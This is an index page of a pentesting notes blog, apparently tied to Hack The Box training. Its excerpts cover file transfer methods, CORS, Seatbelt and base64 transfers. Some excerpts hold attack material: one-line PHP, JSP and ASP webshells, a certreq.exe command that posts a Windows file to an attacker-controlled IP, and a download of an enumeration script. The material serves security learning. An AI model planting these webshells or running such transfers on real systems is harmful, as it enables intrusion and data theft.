Shuciran Pentesting Notes

Python Upload Server

Python Web Server to Upload Files Installing a Configured WebServer with Upload For our web server, we can use uploadserver, an extended module of the Python HTTP.server module, which includes a f...

15/01/2024 03 File Transfer, Python Upload Server

FTP Transfer files

FTP Downloads A way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP se...

15/01/2024 03 File Transfer, FTP Transfer

WebDAV Uploading files via SMB (over HTTP)

SMB Uploads We can run SMB over HTTP with WebDav. WebDAV is an extension of HTTP, the WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. W...

15/01/2024 03 File Transfer, WebDAV Uploading Files

Transfering Files with Code

Python 2 - Download Shuciran@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")' Python 3 - Downloa...

15/01/2024 03 File Transfer, Linux - Transfering Files with Code

Living off the land (LOLBAS & GTFOBins)

Upload win.ini to our Pwnbox This will send the file to our Netcat session, and we can copy-paste its contents. C:\htb> certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini Fil...

15/01/2024 03 File Transfer, Living off the land (LOLBAS & GTFOBins)

Same-Origin Policy and CORS

Same-Origin Policy and CORS There are three key concepts to understand CORS: Origins and the Same-Origin Policy (SOP) Cross-Origin Resource Sharing (CORS) Sending Requests Between Origins ...

02/01/2024 20 Web, Same-Origin Policy and CORS

Seatbelt for PrivEsc

SEATBELT Seatbelt is a C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives. You can download from he...

27/12/2023 04 Privilege Escalation, Windows - SeatBelt

Base64 Upload/Download

Base64 Upload/Download In some cases, we may not be able to transfer the file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. ...

27/12/2023 03 File Transfer, Linux - Base64

WebShells

PHP WEBSHELL <?php system($_REQUEST["cmd"]); ?> JSP WEBSHELL <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> ASP WEBSHELL <% eval request("cmd") %>

26/12/2023 07 Persistence, Webshells

Regex

String Example: $app->post('upload-avatar', function (Request $request, Response $response, array $args) use ($container) { Useful for Notepad++ Keeps only the string $app->post('upload-a...

24/11/2023